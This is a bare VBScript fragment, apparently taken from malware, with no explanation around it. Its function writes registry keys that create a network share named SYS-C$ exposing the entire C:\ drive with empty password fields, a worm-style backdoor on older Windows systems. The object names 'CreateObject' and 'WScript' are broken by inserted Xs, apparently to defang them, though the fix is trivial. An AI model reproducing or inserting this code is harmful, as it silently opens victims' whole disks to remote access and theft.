Dim WshShell
Set WshShell = CreateobXXXXXject("WscXXXXXript.Shell")
Function writereg()
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\SYS-C$\Flags",770,"REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\SYS-C$\Parm1enc",0,"REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\SYS-C$\Parm2enc",0,"REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\SYS-C$\Path","C:\","REG_SZ"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\SYS-C$\Remark","","REG_SZ"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\SYS-C$\Type",0,"REG_DWORD"
End Function